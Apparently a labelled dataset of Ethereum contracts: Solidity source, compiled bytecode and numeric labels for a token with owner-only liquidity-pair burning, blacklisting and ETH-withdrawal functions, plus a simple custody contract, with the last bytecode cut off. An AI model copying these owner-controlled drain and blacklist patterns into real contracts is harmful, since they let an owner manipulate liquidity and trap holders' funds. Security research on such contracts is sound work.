_totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function getLiquidityBacking(uint256 accuracy) public view returns (uint256) { return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply()); } function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) { return getLiquidityBacking(accuracy) > target; } /* Airdrop Begins */ function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner { require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses"); require(addresses.length == tokens.length,"Mismatch between Address and token count"); uint256 SCCC = 0; for(uint i=0; i < addresses.length; i++){ SCCC = SCCC + tokens[i]; } require(balanceOf(from) >= SCCC, "Not enough tokens in wallet"); for(uint i=0; i < addresses.length; i++){ _basicTransfer(from,addresses[i],tokens[i]); } } function autoburn_config(uint256 _freq, uint256 _percent, bool _enabled) external onlyOwner { require(_percent < 1000,"max value for autoburn is 10%"); lpBurnFrequency = _freq; percentForLPBurn = _percent; autoBurnEnabled = _enabled; } function burn_and_moon(uint256 percent_base10000) public onlyOwner returns (bool){ require(percent_base10000 <= 1000, "May not nuke more than 10% of tokens in LP"); uint256 lp_tokens = this.balanceOf(pair); uint256 lp_burn = lp_tokens.mul(percent_base10000).div(10000); if (lp_burn > 0){ _basicTransfer(pair,DEAD,lp_burn); pairContract.sync(); return true; } return false; } function autoburn_LP() internal { bool status = burn_and_moon(percentForLPBurn); if(status) { lastLpBurnTime = block.timestamp; } } event AutoLiquify(uint256 amountETH, uint256 amountTokens); }
0x6080604052600436106104845760003560e01c806386f6c3c11161025e578063d7c94efd11610143578063f2fde38b116100bb578063fce589d81161008a578063fe9fbb801161006f578063fe9fbb8014610d47578063fed0d2a114610d80578063ffb54a9914610d9657600080fd5b8063fce589d814610d01578063fe575a8714610d1757600080fd5b8063f2fde38b14610c8b578063f821f17f14610cab578063f84ba65d14610cc1578063f887ea4014610ce157600080fd5b8063e96fada211610112578063ecabcf61116100f7578063ecabcf6114610c2b578063f0b37c0414610c4b578063f12418a814610c6b57600080fd5b8063e96fada214610beb578063ec72d65f14610c0b57600080fd5b8063d7c94efd14610b4f578063dd62ed3e14610b65578063df20fd4914610bab578063e3763ded14610bcb57600080fd5b80639dd255da116101d6578063a9059cbb116101a5578063ca33e64c1161018a578063ca33e64c14610aef578063d32fd25214610b0f578063d51ed1c814610b2f57600080fd5b8063a9059cbb14610aaf578063b6a5d7de14610acf57600080fd5b80639dd255da14610a32578063a4a4b19b14610a4c578063a4c82a0014610a79578063a8aa1b3114610a8f57600080fd5b80638e2eee841161022d57806395d89b411161021257806395d89b41146109b6578063976b7e12146109fc57806398118cb414610a1c57600080fd5b80638e2eee841461097c5780639242b7591461099c57600080fd5b806386f6c3c1146109045780638714f95714610924578063893d20e814610944578063896648c11461096257600080fd5b80632f54bf6e116103845780636b67c4df116102fc578063722b62ad116102cb57806378109e54116102b057806378109e54146108b85780637d1db4a5146108ce57806384b1d1ef146108e457600080fd5b8063722b62ad1461088257806377b54bad1461089857600080fd5b80636b67c4df146107f55780636ddd17131461080b5780637090ceaa1461082c57806370a082311461084c57600080fd5b80634d709adf116103535780635c85974f116103385780635c85974f146107955780635e562f3b146107b5578063658d4b7f146107d557600080fd5b80634d709adf14610755578063571ac8b01461077557600080fd5b80632f54bf6e146106bc578063313ce567146106eb5780633b2d081c14610707578063402911431461071d57600080fd5b806318abb635116104175780631df4ccfc116103e657806323b872dd116103cb57806323b872dd146106715780632b112e49146106915780632c3e486c146106a657600080fd5b80631df4ccfc1461063b578063201e79911461065157600080fd5b806318abb635146105c5578063199ffc72146105e55780631ca0a28d146105fb5780631da1db5e1461061b57600080fd5b80630d295980116104535780630d2959801461055a5780631161ae391461057a578063180b0d7e1461059a57806318160ddd146105b057600080fd5b8063012aa912146104905780630445b667146104b257806306fdde03146104db578063095ea7b31461052a57600080fd5b3661048b57005b600080fd5b34801561049c57600080fd5b506104b06104ab366004613207565b610db7565b005b3480156104be57600080fd5b506104c860295481565b6040519081526020015b60405180910390f35b3480156104e757600080fd5b5060408051808201909152600581527f4368696e7500000000000000000000000000000000000000000000000000000060208201525b6040516104d29190613321565b34801561053657600080fd5b5061054a61054536600461312c565b610e20565b60405190151581526020016104d2565b34801561056657600080fd5b506104b06105753660046131af565b610e8d565b34801561058657600080fd5b5061054a610595366004613260565b610f09565b3480156105a657600080fd5b506104c860195481565b3480156105bc57600080fd5b506005546104c8565b3480156105d157600080fd5b506104b06105e0366004612fc9565b610f1d565b3480156105f157600080fd5b506104c8601b5481565b34801561060757600080fd5b506104b061061636600461307b565b610fd6565b34801561062757600080fd5b506104b0610636366004613207565b611228565b34801561064757600080fd5b506104c860185481565b34801561065d57600080fd5b506104b061066c366004613260565b6112bd565b34801561067d57600080fd5b5061054a61068c36600461303a565b611315565b34801561069d57600080fd5b506104c86113de565b3480156106b257600080fd5b506104c8601e5481565b3480156106c857600080fd5b5061054a6106d7366004612f73565b6000546001600160a01b0391821691161490565b3480156106f757600080fd5b50604051600481526020016104d2565b34801561071357600080fd5b506104c860155481565b34801561072957600080fd5b5060225461073d906001600160a01b031681565b6040516001600160a01b0390911681526020016104d2565b34801561076157600080fd5b5060285461073d906001600160a01b031681565b34801561078157600080fd5b5061054a610790366004612f73565b611430565b3480156107a157600080fd5b506104b06107b0366004613207565b61143e565b3480156107c157600080fd5b506104b06107d03660046131af565b611490565b3480156107e157600080fd5b506104b06107f03660046130fe565b6114e6565b34801561080157600080fd5b506104c860145481565b34801561081757600080fd5b5060285461054a90600160a81b900460ff1681565b34801561083857600080fd5b506104b0610847366004613158565b61155e565b34801561085857600080fd5b506104c8610867366004612f73565b6001600160a01b031660009081526008602052604090205490565b34801561088e57600080fd5b506104c8600d5481565b3480156108a457600080fd5b5061054a6108b336600461312c565b611616565b3480156108c457600080fd5b506104c860075481565b3480156108da57600080fd5b506104c860065481565b3480156108f057600080fd5b5060215461073d906001600160a01b031681565b34801561091057600080fd5b506104b061091f3660046132de565b611772565b34801561093057600080fd5b506104b061093f366004613282565b61185b565b34801561095057600080fd5b506000546001600160a01b031661073d565b34801561096e57600080fd5b50600f5461054a9060ff1681565b34801561098857600080fd5b506104b0610997366004613158565b61190b565b3480156109a857600080fd5b50600a5461054a9060ff1681565b3480156109c257600080fd5b5060408051808201909152600681527f244348494e550000000000000000000000000000000000000000000000000000602082015261051d565b348015610a0857600080fd5b5061054a610a17366004613207565b6119bd565b348015610a2857600080fd5b506104c860135481565b348015610a3e57600080fd5b50601c5461054a9060ff1681565b348015610a5857600080fd5b506104c8610a67366004612f73565b600e6020526000908152604090205481565b348015610a8557600080fd5b506104c8601d5481565b348015610a9b57600080fd5b5060275461073d906001600160a01b031681565b348015610abb57600080fd5b5061054a610aca36600461312c565b611bb3565b348015610adb57600080fd5b506104b0610aea366004612f73565b611bc0565b348015610afb57600080fd5b50601f5461073d906001600160a01b031681565b348015610b1b57600080fd5b506104b0610b2a366004613207565b611c2a565b348015610b3b57600080fd5b506104c8610b4a366004613207565b611c7c565b348015610b5b57600080fd5b506104c860165481565b348015610b7157600080fd5b506104c8610b80366004612f90565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b348015610bb757600080fd5b506104b0610bc63660046131e9565b611cbd565b348015610bd757600080fd5b5060235461073d906001600160a01b031681565b348015610bf757600080fd5b5060205461073d906001600160a01b031681565b348015610c1757600080fd5b506104b0610c26366004613207565b611d47565b348015610c3757600080fd5b506104b0610c46366004613239565b611d8f565b348015610c5757600080fd5b506104b0610c66366004612f73565b611e08565b348015610c7757600080fd5b506104b0610c86366004613207565b611e6c565b348015610c9757600080fd5b506104b0610ca6366004612f73565b611ed0565b348015610cb757600080fd5b506104c8600c5481565b348015610ccd57600080fd5b506104b0610cdc3660046130fe565b611f8c565b348015610ced57600080fd5b5060265461073d906001600160a01b031681565b348015610d0d57600080fd5b506104c860175481565b348015610d2357600080fd5b5061054a610d32366004612f73565b60106020526000908152604090205460ff1681565b348015610d5357600080fd5b5061054a610d62366004612f73565b6001600160a01b031660009081526001602052604090205460ff1690565b348015610d8c57600080fd5b506104c8601a5481565b348015610da257600080fd5b5060285461054a90600160a01b900460ff1681565b6000546001600160a01b03163314610dff5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b60448201526064015b60405180910390fd5b61271081600554610e109190613421565b610e1a91906133ff565b60075550565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610e7b9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b03163314610ed05760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b60288054911515600160a01b027fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff909216919091179055565b600082610f1583611c7c565b119392505050565b3360009081526001602052604090205460ff16610f6a5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b601f805473ffffffffffffffffffffffffffffffffffffffff199081166001600160a01b03978816179091556020805482169587169590951790945560218054851693861693909317909255602380548416918516919091179055602280549092169216919091179055565b6000546001600160a01b031633146110195760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b6101f583106110905760405162461bcd60e51b815260206004820152602d60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201527f35303020616464726573736573000000000000000000000000000000000000006064820152608401610df6565b8281146111055760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b60448201527f656e20636f756e740000000000000000000000000000000000000000000000006064820152608401610df6565b6000805b848110156111495783838281811061112357611123613488565b905060200201358261113591906133e7565b91508061114181613457565b915050611109565b508061116a876001600160a01b031660009081526008602052604090205490565b10156111b85760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610df6565b60005b8481101561121f5761120c878787848181106111d9576111d9613488565b90506020020160208101906111ee9190612f73565b86868581811061120057611200613488565b90506020020135612004565b508061121781613457565b9150506111bb565b50505050505050565b3360009081526001602052604090205460ff166112755760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b47336108fc60646112868585613421565b61129091906133ff565b6040518115909202916000818181858888f193505050501580156112b8573d6000803e3d6000fd5b505050565b3360009081526001602052604090205460ff1661130a5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b602491909155602555565b6001600160a01b0383166000908152600960209081526040808320338452909152812054600019146113c957604080518082018252601681527f496e73756666696369656e7420416c6c6f77616e6365000000000000000000006020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546113a49184906120f3565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b6113d484848461212d565b90505b9392505050565b6004546001600160a01b031660009081526008602052604081205461142b906003546001600160a01b031660009081526008602052604090205461142590600554906126f2565b906126f2565b905090565b6000610e8782600019610e20565b3360009081526001602052604090205460ff1661148b5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b600655565b6000546001600160a01b031633146114d35760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b600f805460ff1916911515919091179055565b3360009081526001602052604090205460ff166115335760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146115a15760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b60005b828110156116105781600b60008686858181106115c3576115c3613488565b90506020020160208101906115d89190612f73565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905561160981613457565b90506115a4565b50505050565b600080546001600160a01b0316331461165a5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b816116d9576040516370a0823160e01b81523060048201526001600160a01b038416906370a082319060240160206040518083038186803b15801561169e57600080fd5b505afa1580156116b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d69190613220565b91505b6040517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390526001600160a01b0384169063a9059cbb90604401602060405180830381600087803b15801561173a57600080fd5b505af115801561174e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113d791906131cc565b3360009081526001602052604090205460ff166117bf5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b601386905560168590556014849055601583905560178290556117f0826117ea858188818c8c612734565b90612734565b60185560198190556118036002826133ff565b601854106118535760405162461bcd60e51b815260206004820152601c60248201527f466565732063616e6e6f74206265206d6f7265207468616e20353025000000006044820152606401610df6565b505050505050565b6000546001600160a01b0316331461189e5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b6103e882106118ef5760405162461bcd60e51b815260206004820152601d60248201527f6d61782076616c756520666f72206175746f6275726e206973203130250000006044820152606401610df6565b601e92909255601b55601c805460ff1916911515919091179055565b6000546001600160a01b0316331461194e5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b60005b8281101561161057816010600086868581811061197057611970613488565b90506020020160208101906119859190612f73565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556119b681613457565b9050611951565b600080546001600160a01b03163314611a015760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b6103e8821115611a795760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201527f6b656e7320696e204c50000000000000000000000000000000000000000000006064820152608401610df6565b6027546040516370a0823160e01b81526001600160a01b03909116600482015260009030906370a082319060240160206040518083038186803b158015611abf57600080fd5b505afa158015611ad3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611af79190613220565b90506000611b11612710611b0b8487612793565b9061282e565b90508015611ba957602754600354611b36916001600160a01b03908116911683612004565b50602860009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015611b8757600080fd5b505af1158015611b9b573d6000803e3d6000fd5b506001979650505050505050565b5060009392505050565b60006113d733848461212d565b6000546001600160a01b03163314611c035760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b3360009081526001602052604090205460ff16611c775760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b600c55565b6000610e87611c896113de565b6027546001600160a01b0316600090815260086020526040902054611b0b90611cb6906002905b90612793565b8590612793565b3360009081526001602052604090205460ff16611d0a5760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b60288054921515600160a81b027fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff90931692909217909155602955565b6000546001600160a01b03163314611d8a5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b601a55565b6000546001600160a01b03163314611dd25760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b61271083600554611de39190613421565b611ded91906133ff565b600c55600a805460ff191692151592909217909155600d5550565b6000546001600160a01b03163314611e4b5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b03163314611eaf5760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b61271081600554611ec09190613421565b611eca91906133ff565b60065550565b6000546001600160a01b03163314611f135760405162461bcd60e51b815260206004820152600660248201526510a7aba722a960d11b6044820152606401610df6565b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b3360009081526001602052604090205460ff16611fd95760405162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b6044820152606401610df6565b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b604080518082018252601481527f496e73756666696369656e742042616c616e63650000000000000000000000006020808301919091526001600160a01b038616600090815260089091529182205461205e9184906120f3565b6001600160a01b03808616600090815260086020526040808220939093559085168152205461208d9083612734565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906120e19086815260200190565b60405180910390a35060019392505050565b600081848411156121175760405162461bcd60e51b8152600401610df69190613321565b5060006121248486613440565b95945050505050565b602a5460009060ff161561214d57612146848484612004565b90506113d7565b6001600160a01b03841660009081526001602052604090205460ff1615801561218f57506001600160a01b03831660009081526001602052604090205460ff16155b156121ed57602854600160a01b900460ff166121ed5760405162461bcd60e51b815260206004820152601460248201527f54726164696e67206e6f74206f70656e207965740000000000000000000000006044820152606401610df6565b600f5460ff1615612261576001600160a01b03841660009081526010602052604090205460ff16156122615760405162461bcd60e51b815260206004820152600b60248201527f426c61636b6c69737465640000000000000000000000000000000000000000006044820152606401610df6565b6001600160a01b0384166000908152600b602052604090205460ff16801561228b5750600a5460ff165b15612395576001600160a01b0384166000908152600e602052604090205442116122f75760405162461bcd60e51b815260206004820152601a60248201527f5076742073656c6c65722074696d6520726573747269637465640000000000006044820152606401610df6565b600c5482111561236e5760405162461bcd60e51b8152602060048201526024808201527f5076742073656c6c65722068617665206d61782073656c6c207265737472696360448201527f74696f6e000000000000000000000000000000000000000000000000000000006064820152608401610df6565b600d5461237b90426133e7565b6001600160a01b0385166000908152600e60205260409020555b6001600160a01b03841660009081526001602052604090205460ff161580156123c757506001600160a01b0383163014155b80156123e157506003546001600160a01b03848116911614155b80156123fb57506027546001600160a01b03848116911614155b801561241557506023546001600160a01b03848116911614155b156124b6576001600160a01b03831660009081526008602052604090205460075461244084836133e7565b11156124b45760405162461bcd60e51b815260206004820152603e60248201527f546f74616c20486f6c64696e672069732063757272656e746c79206c696d697460448201527f65642c20796f752063616e206e6f74206275792074686174206d7563682e00006064820152608401610df6565b505b6124c08483612870565b6124c86128e9565b156124da576124d561293f565b612590565b6001600160a01b03841660009081526001602052604090205460ff1615801561251c57506001600160a01b03831660009081526001602052604090205460ff16155b801561254157506001600160a01b03841660009081526011602052604090205460ff16155b801561255a57506027546001600160a01b038481169116145b80156125685750601c5460ff165b80156125835750601e54601d5461257f91906133e7565b4210155b1561259057612590612d67565b604080518082018252601481527f496e73756666696369656e742042616c616e63650000000000000000000000006020808301919091526001600160a01b0387166000908152600890915291909120546125eb9184906120f3565b6001600160a01b038516600090815260086020908152604080832093909355601190529081205460ff1615158061263c57506001600160a01b03841660009081526011602052604090205460ff1615155b6126635760275461265e90869085906001600160a01b03888116911614612d84565b612665565b825b6001600160a01b03851660009081526008602052604090205490915061268b9082612734565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906126df9085815260200190565b60405180910390a3506001949350505050565b60006113d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120f3565b60008061274183856133e7565b9050838110156113d75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610df6565b6000826127a257506000610e87565b60006127ae8385613421565b9050826127bb85836133ff565b146113d75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610df6565b60006113d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ef9565b6006548111158061289957506001600160a01b03821660009081526012602052604090205460ff165b6128e55760405162461bcd60e51b815260206004820152601160248201527f5458204c696d69742045786365656465640000000000000000000000000000006044820152606401610df6565b5050565b6027546000906001600160a01b0316331480159061290a5750602a5460ff16155b801561291f5750602854600160a81b900460ff165b801561142b57505060295430600090815260086020526040902054101590565b602a805460ff1916600117905560245460255460009161295e91610f09565b61296a5760135461296d565b60005b905060006129916002611b0b601854611b0b8660295461279390919063ffffffff16565b905060006129aa826029546126f290919063ffffffff16565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106129e4576129e4613488565b6001600160a01b039283166020918202929092010152600254825191169082906001908110612a1557612a15613488565b6001600160a01b0392831660209182029290920101526026546040517f791ac9470000000000000000000000000000000000000000000000000000000081524792919091169063791ac94790612a78908690600090879030904290600401613376565b600060405180830381600087803b158015612a9257600080fd5b505af1158015612aa6573d6000803e3d6000fd5b505050506000612abf82476126f290919063ffffffff16565b90506000612ada612ad188600261282e565b601854906126f2565b90506000612aef6002611b0b8481878d612793565b90506000612b0c83611b0b6014548761279390919063ffffffff16565b90506000612b2984611b0b6016548861279390919063ffffffff16565b90506000612b4685611b0b6015548961279390919063ffffffff16565b6020546040519192506000916001600160a01b039091169085908381818185875af1925050503d8060008114612b98576040519150601f19603f3d011682016040523d82523d6000602084013e612b9d565b606091505b50506021546040519192506001600160a01b0316908390600081818185875af1925050503d8060008114612bed576040519150601f19603f3d011682016040523d82523d6000602084013e612bf2565b606091505b50506022546040519192506001600160a01b0316908490600081818185875af1925050503d8060008114612c42576040519150601f19603f3d011682016040523d82523d6000602084013e612c47565b606091505b5060009250508b159050612d4f57602654601f546040517ff305d719000000000000000000000000000000000000000000000000000000008152306004820152602481018e905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990879060c4016060604051808303818588803b158015612cd957600080fd5b505af1158015612ced573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612d1291906132b0565b505060408051878152602081018e90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b5050602a805460ff1916905550505050505050505050565b6000612d74601b546119bd565b90508015612d815742601d555b50565b60008082612d93576064612d97565b601a545b90506000612dc66019546064612dad9190613421565b611b0b84611cb06018548a61279390919063ffffffff16565b90506000612de5601854611b0b6017548561279390919063ffffffff16565b90506000612df383836126f2565b30600090815260086020526040902054909150612e109082612734565b30600090815260086020526040808220929092556023546001600160a01b031681522054612e3e9083612734565b6023546001600160a01b0390811660009081526008602090815260409182902093909355518381523092918b16917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a38115612ee3576023546040518381526001600160a01b03918216918a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b612eed87846126f2565b98975050505050505050565b60008183612f1a5760405162461bcd60e51b8152600401610df69190613321565b50600061212484866133ff565b60008083601f840112612f3957600080fd5b50813567ffffffffffffffff811115612f5157600080fd5b6020830191508360208260051b8501011115612f6c57600080fd5b9250929050565b600060208284031215612f8557600080fd5b81356113d78161349e565b60008060408385031215612fa357600080fd5b8235612fae8161349e565b91506020830135612fbe8161349e565b809150509250929050565b600080600080600060a08688031215612fe157600080fd5b8535612fec8161349e565b94506020860135612ffc8161349e565b9350604086013561300c8161349e565b9250606086013561301c8161349e565b9150608086013561302c8161349e565b809150509295509295909350565b60008060006060848603121561304f57600080fd5b833561305a8161349e565b9250602084013561306a8161349e565b929592945050506040919091013590565b60008060008060006060868803121561309357600080fd5b853561309e8161349e565b9450602086013567ffffffffffffffff808211156130bb57600080fd5b6130c789838a01612f27565b909650945060408801359150808211156130e057600080fd5b506130ed88828901612f27565b969995985093965092949392505050565b6000806040838503121561311157600080fd5b823561311c8161349e565b91506020830135612fbe816134b3565b6000806040838503121561313f57600080fd5b823561314a8161349e565b946020939093013593505050565b60008060006040848603121561316d57600080fd5b833567ffffffffffffffff81111561318457600080fd5b61319086828701612f27565b90945092505060208401356131a4816134b3565b809150509250925092565b6000602082840312156131c157600080fd5b81356113d7816134b3565b6000602082840312156131de57600080fd5b81516113d7816134b3565b600080604083850312156131fc57600080fd5b823561314a816134b3565b60006020828403121561321957600080fd5b5035919050565b60006020828403121561323257600080fd5b5051919050565b60008060006060848603121561324e57600080fd5b83359250602084013561306a816134b3565b6000806040838503121561327357600080fd5b50508035926020909101359150565b60008060006060848603121561329757600080fd5b833592506020840135915060408401356131a4816134b3565b6000806000606084860312156132c557600080fd5b8351925060208401519150604084015190509250925092565b60008060008060008060c087890312156132f757600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600060208083528351808285015260005b8181101561334e57858101830151858201604001528201613332565b81811115613360576000604083870101525b50601f01601f1916929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156133c65784516001600160a01b0316835293830193918301916001016133a1565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156133fa576133fa613472565b500190565b60008261341c57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561343b5761343b613472565b500290565b60008282101561345257613452613472565b500390565b600060001982141561346b5761346b613472565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114612d8157600080fd5b8015158114612d8157600080fdfea2646970667358221220e8b3d21550987e85eb2f515eb899c8d8509a025216aedfcab3f7e02a8edeb79464736f6c63430008070033
[ 6, 4, 11, 12, 13, 5 ]
0xf3677FcAcd2713A69D7145260e5876B3B9B22c45
pragma solidity ^0.5.0; contract IERC20{ string public symbol; string public name; uint256 public totalSupply; uint8 public decimals; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract safebox { // ERC20 basic token contract being held IERC20 private Itoken; address public CEO = 0x1238DE607d15B9e4e176FA801552d214d2f1c0D7; address public CTO = 0x2E29304769e5fdD0bF4F6Eb3174afA6a08B5aC75; uint public approveAmount; constructor (IERC20 token) public { Itoken = token; } function setCEO(address newCEO) external returns(address) { require(msg.sender==CEO, 'You are not authorized'); CEO = newCEO; return CEO; } function setCTO(address newCTO) external returns(address) { require(msg.sender==CTO, 'You are not authorized'); CTO = newCTO; return CTO; } /** * @return the token being held. */ function token() public view returns (IERC20) { return Itoken; } /** * @return this contract balance */ function balance() public view returns (uint256) { return Itoken.balanceOf(address(this)); } function ApproveWithdraw(uint wad) external { require(msg.sender==CEO, 'You are not authorized'); require(balance()>=wad, 'override balance'); approveAmount = approveAmount + wad; } function Withdraw(uint wad) external { require(msg.sender==CTO, 'You are not authorized'); require(approveAmount>=wad, 'override approve amount'); require(balance()>=wad, 'override balance'); Itoken.transfer(CTO, wad); approveAmount = approveAmount - wad; } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063a108857111610066578063a1088571146101c2578063b69ef8a81461020c578063fc0c546a1461022a578063fceb0f3b14610274578063fe1439b41461029257610093565b806327d7874c146100985780632d2e576b1461011c5780633d01bdec1461014a5780635b6b431d14610194575b600080fd5b6100da600480360360208110156100ae57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610316565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101486004803603602081101561013257600080fd5b8101908080359060200190929190505050610446565b005b610152610594565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c0600480360360208110156101aa57600080fd5b81019080803590602001909291905050506105ba565b005b6101ca610886565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102146108ac565b6040518082815260200191505060405180910390f35b61023261098c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61027c6109b5565b6040518082815260200191505060405180910390f35b6102d4600480360360208110156102a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f596f7520617265206e6f7420617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610509576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f596f7520617265206e6f7420617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b806105126108ac565b1015610586576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f6f766572726964652062616c616e63650000000000000000000000000000000081525060200191505060405180910390fd5b806003540160038190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f596f7520617265206e6f7420617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b8060035410156106f5576040517